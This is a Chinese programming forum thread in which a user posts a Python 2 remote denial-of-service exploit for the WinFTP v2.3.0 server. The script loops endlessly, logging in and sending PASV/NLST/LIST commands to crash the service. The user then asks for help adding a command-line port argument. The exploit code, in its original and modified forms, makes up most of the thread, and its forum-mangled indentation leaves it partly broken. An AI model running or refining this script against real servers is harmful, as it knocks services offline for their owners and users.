socket代码请教

最近找到段程序的代码

原来的:

[Copy to clipboard] [ - ]

CODE:

# WinFTP URL - [url=http://www.wftpserver.com/]http://www.wftpserver.com/[/url]
# DoS'ed when try to send data
# (x)dmnt
# -*- coding: windows-1252 -*-

import socket
import time
import sys

PORT = 21

def help_info():
print ("Usage: winftp <host> <login> <password>\n")
print ("Note: anonymous is enought\n")

def conn(hostname, username, passwd):
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
try:
      sock.connect((hostname, PORT))
except:
      print ("[+] Done!")
      sys.exit(1)

r=sock.recv(1024)
print "[+] " + r
sock.send("USER %s\n" %username)
sock.send("PASS %s\n" %passwd)
sock.send("PASV\n")
sock.send("NLST -1\n")
sock.send("QUIT\n")
sock.close()

print ("\n[WinFTP v2.3.0 remote DoS exploit]")
print ("[(x)dmnt 2008 without any clue :)]\n\n")

if len(sys.argv) <> 4:
help_info()
sys.exit(1)

else:
hostname=sys.argv[1]
username=sys.argv[2]
passwd=sys.argv[3]
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
try: sock.connect((hostname, PORT))
except:
      print ("[-] Connection error!")
      sock.close()
      sys.exit(1)

while passwd:
      conn(hostname, username, passwd)
      time.sleep(0.2)

sys.exit(0)
-------------------
更改之后的,无法实现

sock.send("PASV\n")
sock.send("LIST\n")

print ("\n[WinFTP v2.3.0 remote DoS exploit]")
print ("[(x)dmnt 2008 without any clue :)]\n\n")

if len(sys.argv) <> 5:
help_info()
sys.exit(1)

else:
hostname=sys.argv[1]
port=sys.argv[2]
username=sys.argv[3]
passwd=sys.argv[4]
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
try: sock.connect((hostname, port))
except:
      print ("[-] Connection error!")
      sock.close()
      sys.exit(1)

while passwd:
   conn(hostname, port, username, passwd)
   time.sleep(0.2)
   sys.exit(0)

我是想用winftp <host> <port> <user> <password> 连接,可以自已指定port,, 希望大虾能指教一下怎么弄, 多谢!!

可不可以把问题再说的明白点？只是想解析命令行参数么？

嗯,解析命令行参数, 之前能解析 winftp <host><user> <password>
但是port是指定的,
我想改成 port 通过命令行输入,
winftp <host><port><user> <password>

用sys.argv是可以的，或者用用optparse这个库,自己查一下吧例子很多。

      sys.exit(1)

r=sock.recv(1024)
print "[+] " + r
sock.send("USER %s\n" %username)
sock.send("PASS %s\n" %passwd)
sock.send("PWD\n")
sock.send("FEAT\n")

sock.send("PASV\n")
sock.send("LIST\n")

print ("\n[WinFTP v2.3.0 remote DoS exploit]")
print ("[(x)dmnt 2008 without any clue :)]\n\n")

if len(sys.argv) <> 5:
help_info()
sys.exit(1)

else:
hostname=sys.argv[1]
Port=sys.argv[2]
username=sys.argv[3]
passwd=sys.argv[4]
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
try: sock.connect((hostname, Port))
except:
      print ("[-] Connection error!")
print hostname, Port, username, passwd,
      sock.close()
      sys.exit(1)

while passwd:
   conn(hostname, Port, username, passwd)
   time.sleep(0.2)
   sys.exit(0)

结果是
[-] Connection error!

hostname,Port,username,passwd 的值没错,就是没有传到sock.connect((hostname, Port)),

不知道要怎么改
